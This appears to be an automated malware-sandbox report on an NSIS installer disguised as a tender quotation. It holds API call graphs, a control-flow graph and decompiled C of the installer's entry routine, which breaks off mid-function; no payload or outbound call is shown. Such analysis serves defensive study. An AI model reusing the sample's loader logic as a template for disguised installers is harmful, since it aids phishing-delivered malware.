402da6 17 API calls 4237->4238 4239 401a06 4238->4239 4240 402da6 17 API calls 4239->4240 4241 401a0f 4240->4241 4242 401a16 lstrcmpiW 4241->4242 4243 401a28 lstrcmpW 4241->4243 4244 401a1c 4242->4244 4243->4244 4245 4022ff 4246 402da6 17 API calls 4245->4246 4247 402305 4246->4247 4248 402da6 17 API calls 4247->4248 4249 40230e 4248->4249 4250 402da6 17 API calls 4249->4250 4251 402317 4250->4251 4252 40699e 2 API calls 4251->4252 4253 402320 4252->4253 4254 402331 lstrlenW lstrlenW 4253->4254 4258 402324 4253->4258 4256 4056ca 24 API calls 4254->4256 4255 4056ca 24 API calls 4259 40232c 4255->4259 4257 40236f SHFileOperationW 4256->4257 4257->4258 4257->4259 4258->4255 4258->4259 4260 401000 4261 401037 BeginPaint GetClientRect 4260->4261 4262 40100c DefWindowProcW 4260->4262 4264 4010f3 4261->4264 4265 401179 4262->4265 4266 401073 CreateBrushIndirect FillRect DeleteObject 4264->4266 4267 4010fc 4264->4267 4266->4264 4268 401102 CreateFontIndirectW 4267->4268 4269 401167 EndPaint 4267->4269 4268->4269 4270 401112 6 API calls 4268->4270 4269->4265 4270->4269 4271 401d81 4272 401d94 GetDlgItem 4271->4272 4273 401d87 4271->4273 4275 401d8e 4272->4275 4274 402d84 17 API calls 4273->4274 4274->4275 4276 402da6 17 API calls 4275->4276 4278 401dd5 GetClientRect LoadImageW SendMessageW 4275->4278 4276->4278 4279 401e33 4278->4279 4281 401e3f 4278->4281 4280 401e38 DeleteObject 4279->4280 4279->4281 4280->4281 4282 401503 4283 40150b 4282->4283 4285 40151e 4282->4285 4284 402d84 17 API calls 4283->4284 4284->4285 4286 404783 4287 40479b 4286->4287 4291 4048b5 4286->4291 4292 4045c4 18 API calls 4287->4292 4288 40491f 4289 4049e9 4288->4289 4290 404929 GetDlgItem 4288->4290 4297 40462b 8 API calls 4289->4297 4293 404943 4290->4293 4294 4049aa 4290->4294 4291->4288 4291->4289 4295 4048f0 GetDlgItem SendMessageW 4291->4295 4296 404802 4292->4296 4293->4294 4300 404969 SendMessageW LoadCursorW SetCursor 4293->4300 4294->4289 4301 4049bc 4294->4301 4319 4045e6 EnableWindow 4295->4319 4299 4045c4 18 API calls 4296->4299 4307 4049e4 4297->4307 4303 40480f CheckDlgButton 4299->4303 4323 404a32 4300->4323 4305 4049d2 4301->4305 4306 4049c2 SendMessageW 4301->4306 4302 40491a 4320 404a0e 4302->4320 4317 4045e6 EnableWindow 4303->4317 4305->4307 4308 4049d8 SendMessageW 4305->4308 4306->4305 4308->4307 4312 40482d GetDlgItem 4318 4045f9 SendMessageW 4312->4318 4314 404843 SendMessageW 4315 404860 GetSysColor 4314->4315 4316 404869 SendMessageW SendMessageW lstrlenW SendMessageW SendMessageW 4314->4316 4315->4316 4316->4307 4317->4312 4318->4314 4319->4302 4321 404a21 SendMessageW 4320->4321 4322 404a1c 4320->4322 4321->4288 4322->4321 4326 405c8e ShellExecuteExW 4323->4326 4325 404998 LoadCursorW SetCursor 4325->4294 4326->4325 4327 402383 4328 40238a 4327->4328 4331 40239d 4327->4331 4329 4066a5 17 API calls 4328->4329 4330 402397 4329->4330 4332 405cc8 MessageBoxIndirectW 4330->4332 4332->4331 4333 402c05 SendMessageW 4334 402c2a 4333->4334 4335 402c1f InvalidateRect 4333->4335 4335->4334 4336 405809 4337 4059b3 4336->4337 4338 40582a GetDlgItem GetDlgItem GetDlgItem 4336->4338 4340 4059bc GetDlgItem CreateThread CloseHandle 4337->4340 4342 4059e4 4337->4342 4381 4045f9 SendMessageW 4338->4381 4340->4342 4341 40589a 4351 4058a1 GetClientRect GetSystemMetrics SendMessageW SendMessageW 4341->4351 4343 405a0f 4342->4343 4344 405a34 4342->4344 4345 4059fb ShowWindow ShowWindow 4342->4345 4346 405a6f 4343->4346 4348 405a23 4343->4348 4349 405a49 ShowWindow 4343->4349 4350 40462b 8 API calls 4344->4350 4383 4045f9 SendMessageW 4345->4383 4346->4344 4352 405a7d SendMessageW 4346->4352 4353 40459d SendMessageW 4348->4353 4355 405a69 4349->4355 4356 405a5b 4349->4356 4354 405a42 4350->4354 4357 4058f3 SendMessageW SendMessageW 4351->4357 4358 40590f 4351->4358 4352->4354 4359 405a96 CreatePopupMenu 4352->4359 4353->4344 4363 40459d SendMessageW 4355->4363 4362 4056ca 24 API calls 4356->4362 4357->4358 4360 405922 4358->4360 4361 405914 SendMessageW 4358->4361 4364 4066a5 17 API calls 4359->4364 4365 4045c4 18 API calls 4360->4365 4361->4360 4362->4355 4363->4346 4366 405aa6 AppendMenuW 4364->4366 4367 405932 4365->4367 4368 405ac3 GetWindowRect 4366->4368 4369 405ad6 TrackPopupMenu 4366->4369 4370 40593b ShowWindow 4367->4370 4371 40596f GetDlgItem SendMessageW 4367->4371 4368->4369 4369->4354 4372 405af1 4369->4372 4373 405951 ShowWindow 4370->4373 4374 40595e 4370->4374 4371->4354 4375 405996 SendMessageW SendMessageW 4371->4375 4376 405b0d SendMessageW 4372->4376 4373->4374 4382 4045f9 SendMessageW 4374->4382 4375->4354 4376->4376 4377 405b2a OpenClipboard EmptyClipboard GlobalAlloc GlobalLock 4376->4377 4379 405b4f SendMessageW 4377->4379 4379->4379 4380 405b78 GlobalUnlock SetClipboardData CloseClipboard 4379->4380 4380->4354 4381->4341 4382->4371 4383->4343 4384 40248a 4385 402da6 17 API calls 4384->4385 4386 40249c 4385->4386 4387 402da6 17 API calls 4386->4387 4388 4024a6 4387->4388 4389 4024de 4388->4389 4390 40292e 4388->4390 4391 402da6 17 API calls 4388->4391 4392 4024ea 4389->4392 4394 402d84 17 API calls 4389->4394 4393 4024d4 lstrlenW 4391->4393 4395 402509 RegSetValueExW 4392->4395 4396 403371 44 API calls 4392->4396 4393->4389 4394->4392 4397 40251f RegCloseKey 4395->4397 4396->4395 4397->4390 4399 404e0b 4400 404e37 4399->4400 4401 404e1b 4399->4401 4403 404e6a 4400->4403 4404 404e3d SHGetPathFromIDListW 4400->4404 4410 405cac GetDlgItemTextW 4401->4410 4406 404e4d 4404->4406 4409 404e54 SendMessageW 4404->4409 4405 404e28 SendMessageW 4405->4400 4407 40140b 2 API calls 4406->4407 4407->4409 4409->4403 4410->4405 4411 40290b 4412 402da6 17 API calls 4411->4412 4413 402912 FindFirstFileW 4412->4413 4414 402925 4413->4414 4415 40293a 4413->4415 4419 4065af wsprintfW 4415->4419 4417 402943 4420 406668 lstrcpynW 4417->4420 4419->4417 4420->4414 4421 40190c 4422 401943 4421->4422 4423 402da6 17 API calls 4422->4423 4424 401948 4423->4424 4425 405d74 67 API calls 4424->4425 4426 401951 4425->4426 4427 40190f 4428 402da6 17 API calls 4427->4428 4429 401916 4428->4429 4430 405cc8 MessageBoxIndirectW 4429->4430 4431 40191f 4430->4431 4432 401491 4433 4056ca 24 API calls 4432->4433 4434 401498 4433->4434 4435 402891 4436 402898 4435->4436 4442 402ba9 4435->4442 4437 402d84 17 API calls 4436->4437 4438 40289f 4437->4438 4439 4028ae SetFilePointer 4438->4439 4440 4028be 4439->4440 4439->4442 4443 4065af wsprintfW 4440->4443 4443->4442 4444 401f12 4445 402da6 17 API calls 4444->4445 4446 401f18 4445->4446 4447 402da6 17 API calls 4446->4447 4448 401f21 4447->4448 4449 402da6 17 API calls 4448->4449 4450 401f2a 4449->4450 4451 402da6 17 API calls 4450->4451 4452 401f33 4451->4452 4453 401423 24 API calls 4452->4453 4454 401f3a 4453->4454 4461 405c8e ShellExecuteExW 4454->4461 4456 401f82 4457 406ae0 5 API calls 4456->4457 4458 40292e 4456->4458 4459 401f9f CloseHandle 4457->4459 4459->4458 4461->4456 4462 402f93 4463 402fa5 SetTimer 4462->4463 4464 402fbe 4462->4464 4463->4464 4465 40300c 4464->4465 4466 403012 MulDiv 4464->4466 4467 402fcc wsprintfW SetWindowTextW SetDlgItemTextW 4466->4467 4467->4465 4483 401d17 4484 402d84 17 API calls 4483->4484 4485 401d1d IsWindow 4484->4485 4486 401a20 4485->4486 4487 401b9b 4488 401ba8 4487->4488 4489 401bec 4487->4489 4492 401c31 4488->4492 4496 401bbf 4488->4496 4490 401bf1 4489->4490 4491 401c16 GlobalAlloc 4489->4491 4497 40239d 4490->4497 4508 406668 lstrcpynW 4490->4508 4493 4066a5 17 API calls 4491->4493 4494 4066a5 17 API calls 4492->4494 4492->4497 4493->4492 4499 402397 4494->4499 4506 406668 lstrcpynW 4496->4506 4498 401c03 GlobalFree 4498->4497 4502 405cc8 MessageBoxIndirectW 4499->4502 4501 401bce 4507 406668 lstrcpynW 4501->4507 4502->4497 4504 401bdd 4509 406668 lstrcpynW 4504->4509 4506->4501 4507->4504 4508->4498 4509->4497 4510 40261c 4511 402da6 17 API calls 4510->4511 4512 402623 4511->4512 4515 406158 GetFileAttributesW CreateFileW 4512->4515 4514 40262f 4515->4514 4523 40149e 4524 4014ac PostQuitMessage 4523->4524 4525 40239d 4523->4525 4524->4525 4526 40259e 4536 402de6 4526->4536 4529 402d84 17 API calls 4530 4025b1 4529->4530 4531 4025d9 RegEnumValueW 4530->4531 4532 4025cd RegEnumKeyW 4530->4532 4533 40292e 4530->4533 4534 4025ee RegCloseKey 4531->4534 4532->4534 4534->4533 4537 402da6 17 API calls 4536->4537 4538 402dfd 4537->4538 4539 4064d5 RegOpenKeyExW 4538->4539 4540 4025a8 4539->4540 4540->4529 4541 4015a3 4542 402da6 17 API calls 4541->4542 4543 4015aa SetFileAttributesW 4542->4543 4544 4015bc 4543->4544 3750 401fa4 3751 402da6 17 API calls 3750->3751 3752 401faa 3751->3752 3753 4056ca 24 API calls 3752->3753 3754 401fb4 3753->3754 3755 405c4b 2 API calls 3754->3755 3756 401fba 3755->3756 3757 401fdd CloseHandle 3756->3757 3760 40292e 3756->3760 3765 406ae0 WaitForSingleObject 3756->3765 3757->3760 3761 401fcf 3762 401fd4 3761->3762 3763 401fdf 3761->3763 3770 4065af wsprintfW 3762->3770 3763->3757 3766 406afa 3765->3766 3767 406b0c GetExitCodeProcess 3766->3767 3768 406a71 2 API calls 3766->3768 3767->3761 3769 406b01 WaitForSingleObject 3768->3769 3769->3766 3770->3757 3870 403c25 3871 403c40 3870->3871 3872 403c36 CloseHandle 3870->3872 3873 403c54 3871->3873 3874 403c4a CloseHandle 3871->3874 3872->3871 3879 403c82 3873->3879 3874->3873 3877 405d74 67 API calls 3878 403c65 3877->3878 3880 403c90 3879->3880 3881 403c59 3880->3881 3882 403c95 FreeLibrary GlobalFree 3880->3882 3881->3877 3882->3881 3882->3882 4545 40202a 4546 402da6 17 API calls 4545->4546 4547 402031 4546->4547 4548 406a35 5 API calls 4547->4548 4549 402040 4548->4549 4550 4020cc 4549->4550 4551 40205c GlobalAlloc 4549->4551 4551->4550 4552 402070 4551->4552 4553 406a35 5 API calls 4552->4553 4554 402077 4553->4554 4555 406a35 5 API calls 4554->4555 4556 402081 4555->4556 4556->4550 4560 4065af wsprintfW 4556->4560 4558 4020ba 4561 4065af wsprintfW 4558->4561 4560->4558 4561->4550 4562 40252a 4563 402de6 17 API calls 4562->4563 4564 402534 4563->4564 4565 402da6 17 API calls 4564->4565 4566 40253d 4565->4566 4567 402548 RegQueryValueExW 4566->4567 4572 40292e 4566->4572 4568 40256e RegCloseKey 4567->4568 4569 402568 4567->4569 4568->4572 4569->4568 4573 4065af wsprintfW 4569->4573 4573->4568 4574 4021aa 4575 402da6 17 API calls 4574->4575 4576 4021b1 4575->4576 4577 402da6 17 API calls 4576->4577 4578 4021bb 4577->4578 4579 402da6 17 API calls 4578->4579 4580 4021c5 4579->4580 4581 402da6 17 API calls 4580->4581 4582 4021cf 4581->4582 4583 402da6 17 API calls 4582->4583 4584 4021d9 4583->4584 4585 402218 CoCreateInstance 4584->4585 4586 402da6 17 API calls 4584->4586 4589 402237 4585->4589 4586->4585 4587 401423 24 API calls 4588 4022f6 4587->4588 4589->4587 4589->4588 4597 401a30 4598 402da6 17 API calls 4597->4598 4599 401a39 ExpandEnvironmentStringsW 4598->4599 4600 401a4d 4599->4600 4602 401a60 4599->4602 4601 401a52 lstrcmpW 4600->4601 4600->4602 4601->4602 4603 405031 GetDlgItem GetDlgItem 4604 405083 7 API calls 4603->4604 4608 4052a8 4603->4608 4605 40512a DeleteObject 4604->4605 4606 40511d SendMessageW 4604->4606 4607 405133 4605->4607 4606->4605 4609 40516a 4607->4609 4611 4066a5 17 API calls 4607->4611 4625 40538a 4608->4625 4635 405317 4608->4635 4657 404f7f SendMessageW 4608->4657 4612 4045c4 18 API calls 4609->4612 4610 405436 4614 405440 SendMessageW 4610->4614 4615 405448 4610->4615 4616 40514c SendMessageW SendMessageW 4611->4616 4617 40517e 4612->4617 4613 40529b 4621 40462b 8 API calls 4613->4621 4614->4615 4627 405461 4615->4627 4628 40545a ImageList_Destroy 4615->4628 4632 405471 4615->4632 4616->4607 4618 4045c4 18 API calls 4617->4618 4636 40518f 4618->4636 4619 4053e3 SendMessageW 4619->4613 4624 4053f8 SendMessageW 4619->4624 4620 40537c SendMessageW 4620->4625 4626 405637 4621->4626 4623 4055eb 4623->4613 4633 4055fd ShowWindow GetDlgItem ShowWindow 4623->4633 4630 40540b 4624->4630 4625->4610 4625->4613 4625->4619 4631 40546a GlobalFree 4627->4631 4627->4632 4628->4627 4629 40526a GetWindowLongW SetWindowLongW 4634 405283 4629->4634 4641 40541c SendMessageW 4630->4641 4631->4632 4632->4623 4650 4054ac 4632->4650 4662 404fff 4632->4662 4633->4613 4637 4052a0 4634->4637 4638 405288 ShowWindow 4634->4638 4635->4620 4635->4625 4636->4629 4640 4051e2 SendMessageW 4636->4640 4642 405265 4636->4642 4644 405220 SendMessageW 4636->4644 4645 405234 SendMessageW 4636->4645 4656 4045f9 SendMessageW 4637->4656 4655 4045f9 SendMessageW 4638->4655 4640->4636 4641->4610 4642->4629 4642->4634 4644->4636 4645->4636 4647 4055b6 4648 4055c1 InvalidateRect 4647->4648 4651 4055cd 4647->4651 4648->4651 4649 4054da SendMessageW 4654 4054f0 4649->4654 4650->4649 4650->4654 4651->4623 4671 404f3a 4651->4671 4653 405564 SendMessageW SendMessageW 4653->4654 4654->4647 4654->4653 4655->4613 4656->4608 4658 404fa2 GetMessagePos ScreenToClient SendMessageW 4657->4658 4659 404fde SendMessageW 4657->4659 4660 404fd6 4658->4660 4661 404fdb 4658->4661 4659->4660 4660->4635 4661->4659 4674 406668 lstrcpynW 4662->4674 4664 405012 4675 4065af wsprintfW 4664->4675 4666 40501c 4667 40140b 2 API calls 4666->4667 4668 405025 4667->4668 4676 406668 lstrcpynW 4668->4676 4670 40502c 4670->4650 4677 404e71 4671->4677 4673 404f4f 4673->4623 4674->4664 4675->4666 4676->4670 4678 404e8a 4677->4678 4679 4066a5 17 API calls 4678->4679 4680 404eee 4679->4680 4681 4066a5 17 API calls 4680->4681 4682 404ef9 4681->4682 4683 4066a5 17 API calls 4682->4683 4684 404f0f lstrlenW wsprintfW SetDlgItemTextW 4683->4684 4684->4673 4690 4023b2 4691 4023c0 4690->4691 4692 4023ba 4690->4692 4694 402da6 17 API calls 4691->4694 4695 4023ce 4691->4695 4693 402da6 17 API calls 4692->4693 4693->4691 4694->4695 4696 4023dc 4695->4696 4697 402da6 17 API calls 4695->4697 4698 402da6 17 API calls 4696->4698 4697->4696 4699 4023e5 WritePrivateProfileStringW 4698->4699 4700 404734 lstrlenW 4701 404753 4700->4701 4702 404755 WideCharToMultiByte 4700->4702 4701->4702 4703 402434 4704 402467 4703->4704 4705 40243c 4703->4705 4707 402da6 17 API calls 4704->4707 4706 402de6 17 API calls 4705->4706 4708 402443 4706->4708 4709 40246e 4707->4709 4711 402da6 17 API calls 4708->4711 4712 40247b 4708->4712 4714 402e64 4709->4714 4713 402454 RegDeleteValueW RegCloseKey 4711->4713 4713->4712 4715 402e78 4714->4715 4717 402e71 4714->4717 4715->4717 4718 402ea9 4715->4718 4717->4712 4719 4064d5 RegOpenKeyExW 4718->4719 4720 402ed7 4719->4720 4721 402ee7 RegEnumValueW 4720->4721 4722 402f0a 4720->4722 4729 402f81 4720->4729 4721->4722 4723 402f71 RegCloseKey 4721->4723 4722->4723 4724 402f46 RegEnumKeyW 4722->4724 4725 402f4f RegCloseKey 4722->4725 4727 402ea9 6 API calls 4722->4727 4723->4729 4724->4722 4724->4725 4726 406a35 5 API calls 4725->4726 4728 402f5f 4726->4728 4727->4722 4728->4729 4730 402f63 RegDeleteKeyW 4728->4730 4729->4717 4730->4729 4731 401735 4732 402da6 17 API calls 4731->4732 4733 40173c SearchPathW 4732->4733 4734 401757 4733->4734 4735 404ab5 4736 404ae1 4735->4736 4737 404af2 4735->4737 4796 405cac GetDlgItemTextW 4736->4796 4739 404afe GetDlgItem 4737->4739 4745 404b5d 4737->4745 4741 404b12 4739->4741 4740 404aec 4743 4068ef 5 API calls 4740->4743 4744 404b26 SetWindowTextW 4741->4744 4752 405fe2 4 API calls 4741->4752 4742 404c41 4746 404df0 4742->4746 4798 405cac GetDlgItemTextW 4742->4798 4743->4737 4748 4045c4 18 API calls 4744->4748 4745->4742 4745->4746 4749 4066a5 17 API calls 4745->4749 4751 40462b 8 API calls 4746->4751 4753 404b42 4748->4753 4754 404bd1 SHBrowseForFolderW 4749->4754 4750 404c71 4755 40603f 18 API calls 4750->4755 4756 404e04 4751->4756 4757 404b1c 4752->4757 4758 4045c4 18 API calls 4753->4758 4754->4742 4759 404be9 CoTaskMemFree 4754->4759 4760 404c77 4755->4760 4757->4744 4763 405f37 3 API calls 4757->4763 4761 404b50 4758->4761 4762 405f37 3 API calls 4759->4762 4799 406668 lstrcpynW 4760->4799 4797 4045f9 SendMessageW 4761->4797 4765 404bf6 4762->4765 4763->4744 4768 404c2d SetDlgItemTextW 4765->4768 4772 4066a5 17 API calls 4765->4772 4767 404b56 4770 406a35 5 API calls 4767->4770 4768->4742 4769 404c8e 4771 406a35 5 API calls 4769->4771 4770->4745 4779 404c95 4771->4779 4773 404c15 lstrcmpiW 4772->4773 4773->4768 4776 404c26 lstrcatW 4773->4776 4774 404cd6 4800 406668 lstrcpynW 4774->4800 4776->4768 4777 404cdd 4778 405fe2 4 API calls 4777->4778 4780 404ce3 GetDiskFreeSpaceW 4778->4780 4779->4774 4782 405f83 2 API calls 4779->4782 4784 404d2e 4779->4784 4783 404d07 MulDiv 4780->4783 4780->4784 4782->4779 4783->4784 4785 404d9f 4784->4785 4786 404f3a 20 API calls 4784->4786 4787 404dc2 4785->4787 4789 40140b 2 API calls 4785->4789 4788 404d8c 4786->4788 4801 4045e6 EnableWindow 4787->4801 4791 404da1 SetDlgItemTextW 4788->4791 4792 404d91 4788->4792 4789->4787 4791->4785 4794 404e71 20 API calls 4792->4794 4793 404dde 4793->4746 4795 404a0e SendMessageW 4793->4795 4794->4785 4795->4746 4796->4740 4797->4767 4798->4750 4799->4769 4800->4777 4801->4793 4802 401d38 4803 402d84 17 API calls 4802->4803 4804 401d3f 4803->4804 4805 402d84 17 API calls 4804->4805 4806 401d4b GetDlgItem 4805->4806 4807 402638 4806->4807 4808 4014b8 4809 4014be 4808->4809 4810 401389 2 API calls 4809->4810 4811 4014c6 4810->4811 4812 40563e 4813 405662 4812->4813 4814 40564e 4812->4814 4817 40566a IsWindowVisible 4813->4817 4823 405681 4813->4823 4815 405654 4814->4815 4816 4056ab 4814->4816 4819 404610 SendMessageW 4815->4819 4818 4056b0 CallWindowProcW 4816->4818 4817->4816 4820 405677 4817->4820 4821 40565e 4818->4821 4819->4821 4822 404f7f 5 API calls 4820->4822 4822->4823 4823->4818 4824 404fff 4 API calls 4823->4824 4824->4816 4825 40263e 4826 402652 4825->4826 4827 40266d 4825->4827 4828 402d84 17 API calls 4826->4828 4829 402672 4827->4829 4830 40269d 4827->4830 4837 402659 4828->4837 4831 402da6 17 API calls 4829->4831 4832 402da6 17 API calls 4830->4832 4834 402679 4831->4834 4833 4026a4 lstrlenW 4832->4833 4833->4837 4842 40668a WideCharToMultiByte 4834->4842 4836 40268d lstrlenA 4836->4837 4838 4026d1 4837->4838 4839 4026e7 4837->4839 4841 406239 5 API calls 4837->4841 4838->4839 4840 40620a WriteFile 4838->4840 4840->4839 4841->4838 4842->4836

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 0 403640-403690 SetErrorMode GetVersionExW 1 403692-4036c6 GetVersionExW 0->1 2 4036ca-4036d1 0->2 1->2 3 4036d3 2->3 4 4036db-40371b 2->4 3->4 5 40371d-403725 call 406a35 4->5 6 40372e 4->6 5->6 11 403727 5->11 8 403733-403747 call 4069c5 lstrlenA 6->8 13 403749-403765 call 406a35 * 3 8->13 11->6 20 403776-4037d8 #17 OleInitialize SHGetFileInfoW call 406668 GetCommandLineW call 406668 13->20 21 403767-40376d 13->21 28 4037e1-4037f4 call 405f64 CharNextW 20->28 29 4037da-4037dc 20->29 21->20 25 40376f 21->25 25->20 32 4038eb-4038f1 28->32 29->28 33 4038f7 32->33 34 4037f9-4037ff 32->34 37 40390b-403925 GetTempPathW call 40360f 33->37 35 403801-403806 34->35 36 403808-40380e 34->36 35->35 35->36 38 403810-403814 36->38 39 403815-403819 36->39 47 403927-403945 GetWindowsDirectoryW lstrcatW call 40360f 37->47 48 40397d-403995 DeleteFileW call 4030d0 37->48 38->39 41 4038d9-4038e7 call 405f64 39->41 42 40381f-403825 39->42 41->32 58 4038e9-4038ea 41->58 45 403827-40382e 42->45 46 40383f-403878 42->46 51 403830-403833 45->51 52 403835 45->52 53 403894-4038ce 46->53 54 40387a-40387f 46->54 47->48 62 403947-403977 GetTempPathW lstrcatW SetEnvironmentVariableW * 2 call 40360f 47->62 64 40399b-4039a1 48->64 65 403b6c-403b7a ExitProcess OleUninitialize 48->65 51->46 51->52 52->46 56 4038d0-4038d4 53->56 57 4038d6-4038d8 53->57 54->53 60 403881-403889 54->60 56->57 63 4038f9-403906 call 406668 56->63 57->41 58->32 66 403890 60->66 67 40388b-40388e 60->67 62->48 62->65 63->37 69 4039a7-4039ba call 405f64 64->69 70 403a48-403a4f call 403d17 64->70 72 403b91-403b97 65->72 73 403b7c-403b8b call 405cc8 ExitProcess 65->73 66->53 67->53 67->66 88 403a0c-403a19 69->88 89 4039bc-4039f1 69->89 83 403a54-403a57 70->83 74 403b99-403bae GetCurrentProcess OpenProcessToken 72->74 75 403c0f-403c17 72->75 80 403bb0-403bd9 LookupPrivilegeValueW AdjustTokenPrivileges 74->80 81 403bdf-403bed call 406a35 74->81 84 403c19 75->84 85 403c1c-403c1f ExitProcess 75->85 80->81 95 403bfb-403c06 ExitWindowsEx 81->95 96 403bef-403bf9 81->96 83->65 84->85 90 403a1b-403a29 call 40603f 88->90 91 403a5c-403a70 call 405c33 lstrcatW 88->91 93 4039f3-4039f7 89->93 90->65 104 403a2f-403a45 call 406668 * 2 90->104 107 403a72-403a78 lstrcatW 91->107 108 403a7d-403a97 lstrcatW lstrcmpiW 91->108 98 403a00-403a08 93->98 99 4039f9-4039fe 93->99 95->75 101 403c08-403c0a call 40140b 95->101 96->95 96->101 98->93 103 403a0a 98->103 99->98 99->103 101->75 103->88 104->70 107->108 109 403b6a 108->109 110 403a9d-403aa0 108->110 109->65 112 403aa2-403aa7 call 405b99 110->112 113 403aa9 call 405c16 110->113 119 403aae-403abe SetCurrentDirectoryW 112->119 113->119 121 403ac0-403ac6 call 406668 119->121 122 403acb-403af7 call 406668 119->122 121->122 126 403afc-403b17 call 4066a5 DeleteFileW 122->126 129 403b57-403b61 126->129 130 403b19-403b29 CopyFileW 126->130 129->126 132 403b63-403b65 call 406428 129->132 130->129 131 403b2b-403b4b call 406428 call 4066a5 call 405c4b 130->131 131->129 140 403b4d-403b54 CloseHandle 131->140 132->109 140->129
          C-Code - Quality: 78%
          			_entry_() {
          				WCHAR* _v8;
          				signed int _v12;
          				void* _v16;
          				signed int _v20;
          				int _v24;
          				int _v28;
          				struct _TOKEN_PRIVILEGES _v40;
          				signed char _v42;
          				int _v44;
          				signed int _v48;
          				intOrPtr _v278;
          				signed short _v310;
          				struct _OSVERSIONINFOW _v324;
          				struct _SHFILEINFOW _v1016;
          				intOrPtr* _t88;
          				WCHAR* _t92;
          				char* _t94;
          				void _t97;
          				void* _t116;
          				WCHAR* _t118;
          				signed int _t119;
          				intOrPtr* _t123;
          				void* _t137;
          				void* _t143;
          				void* _t148;
          				void* _t152;
          				void* _t157;
          				signed int _t167;
          				void* _t170;
          				void* _t175;
          				intOrPtr _t177;
          				intOrPtr _t178;
          				intOrPtr* _t179;
          				int _t188;
          				void* _t189;
          				void* _t198;
          				signed int _t204;
          				signed int _t209;
          				signed int _t214;
          				signed int _t216;
          				int* _t218;
          				signed int _t226;
          				signed int _t229;
          				CHAR* _t231;
          				char* _t232;
          				signed int _t233;
          				WCHAR* _t234;
          				void* _t250;
          
          				_t216 = 0x20;
          				_t188 = 0;
          				_v24 = 0;
          				_v8 = L"Error writing temporary file. Make sure your temp folder is valid.";
          				_v20 = 0;
          				SetErrorMode(0x8001); // executed
          				_v324.szCSDVersion = 0;
          				_v48 = 0;
          				_v44 = 0;
          				_v324.dwOSVersionInfoSize = 0x11c;
          				if(GetVersionExW( &_v324) == 0) {
          					_v324.dwOSVersionInfoSize = 0x114;
          					GetVersionExW( &_v324);
          					asm("sbb eax, eax");
          					_v42 = 4;
          					_v48 =  !( ~(_v324.szCSDVersion - 0x53)) & _v278 + 0xffffffd0;
          				}
          				if(_v324.dwMajorVersion < 0xa) {
          					_v310 = _v310 & 0x00000000;
          				}
          				 *0x42a318 = _v324.dwBuildNumber;
          				 *0x42a31c = (_v324.dwMajorVersion & 0x0000ffff | _v324.dwMinorVersion & 0x000000ff) << 0x00000010 | _v48 & 0x0000ffff | _v42 & 0x000000ff;
          				if( *0x42a31e != 0x600) {
          					_t179 = E00406A35(_t188);
          					if(_t179 != _t188) {
          						 *_t179(0xc00);
          					}
          				}
          				_t231 = "UXTHEME";
          				do {
          					E004069C5(_t231); // executed
          					_t231 =  &(_t231[lstrlenA(_t231) + 1]);
          				} while ( *_t231 != 0);
          				E00406A35(0xb);
          				 *0x42a264 = E00406A35(9);
          				_t88 = E00406A35(7);
          				if(_t88 != _t188) {
          					_t88 =  *_t88(0x1e);
          					if(_t88 != 0) {
          						 *0x42a31c =  *0x42a31c | 0x00000080;
          					}
          				}
          				__imp__#17();
          				__imp__OleInitialize(_t188); // executed
          				 *0x42a320 = _t88;
          				SHGetFileInfoW(0x421708, _t188,  &_v1016, 0x2b4, _t188); // executed
          				E00406668(0x429260, L"NSIS Error");
          				_t92 = GetCommandLineW();
          				_t232 = L"\"C:\\Users\\frontdesk\\Desktop\\Tender_QUOTATION__LH22000309AA2023.exe\"";
          				E00406668(_t232, _t92);
          				_t94 = _t232;
          				_t233 = 0x22;
          				 *0x42a260 = 0x400000;
          				_t250 = L"\"C:\\Users\\frontdesk\\Desktop\\Tender_QUOTATION__LH22000309AA2023.exe\"" - _t233; // 0x22
          				if(_t250 == 0) {
          					_t216 = _t233;
          					_t94 =  &M00435002;
          				}
          				_t198 = CharNextW(E00405F64(_t94, _t216));
          				_v16 = _t198;
          				while(1) {
          					_t97 =  *_t198;
          					_t251 = _t97 - _t188;
          					if(_t97 == _t188) {
          						break;
          					}
          					_t209 = 0x20;
          					__eflags = _t97 - _t209;
          					if(_t97 != _t209) {
          						L17:
          						__eflags =  *_t198 - _t233;
          						_v12 = _t209;
          						if( *_t198 == _t233) {
          							_v12 = _t233;
          							_t198 = _t198 + 2;
          							__eflags = _t198;
          						}
          						__eflags =  *_t198 - 0x2f;
          						if( *_t198 != 0x2f) {
          							L32:
          							_t198 = E00405F64(_t198, _v12);
          							__eflags =  *_t198 - _t233;
          							if(__eflags == 0) {
          								_t198 = _t198 + 2;
          								__eflags = _t198;
          							}
          							continue;
          						} else {
          							_t198 = _t198 + 2;
          							__eflags =  *_t198 - 0x53;
          							if( *_t198 != 0x53) {
          								L24:
          								asm("cdq");
          								asm("cdq");
          								_t214 = L"NCRC" & 0x0000ffff;
          								asm("cdq");
          								_t226 = ( *0x40a37e & 0x0000ffff) << 0x00000010 |  *0x40a37c & 0x0000ffff | _t214;
          								__eflags =  *_t198 - (( *0x40a37a & 0x0000ffff) << 0x00000010 | _t214);
          								if( *_t198 != (( *0x40a37a & 0x0000ffff) << 0x00000010 | _t214)) {
          									L29:
          									asm("cdq");
          									asm("cdq");
          									_t209 = L" /D=" & 0x0000ffff;
          									asm("cdq");
          									_t229 = ( *0x40a372 & 0x0000ffff) << 0x00000010 |  *0x40a370 & 0x0000ffff | _t209;
          									__eflags =  *(_t198 - 4) - (( *0x40a36e & 0x0000ffff) << 0x00000010 | _t209);
          									if( *(_t198 - 4) != (( *0x40a36e & 0x0000ffff) << 0x00000010 | _t209)) {
          										L31:
          										_t233 = 0x22;
          										goto L32;
          									}
          									__eflags =  *_t198 - _t229;
          									if( *_t198 == _t229) {
          										 *(_t198 - 4) = _t188;
          										__eflags = _t198;
          										E00406668(L"C:\\Users\\FRONTD~1\\AppData\\Local\\Temp", _t198);
          										L37:
          										_t234 = L"C:\\Users\\FRONTD~1\\AppData\\Local\\Temp\\";
          										GetTempPathW(0x400, _t234);
          										_t116 = E0040360F(_t198, _t251);
          										_t252 = _t116;
          										if(_t116 != 0) {
          											L40:
          											DeleteFileW(L"1033"); // executed
          											_t118 = E004030D0(_t254, _v20); // executed
          											_v8 = _t118;
          											if(_t118 != _t188) {
          												L68:
          												ExitProcess(); // executed
          												__imp__OleUninitialize(); // executed
          												if(_v8 == _t188) {
          													if( *0x42a2f4 == _t188) {
          														L77:
          														_t119 =  *0x42a30c;
          														if(_t119 != 0xffffffff) {
          															_v24 = _t119;
          														}
          														ExitProcess(_v24);
          													}
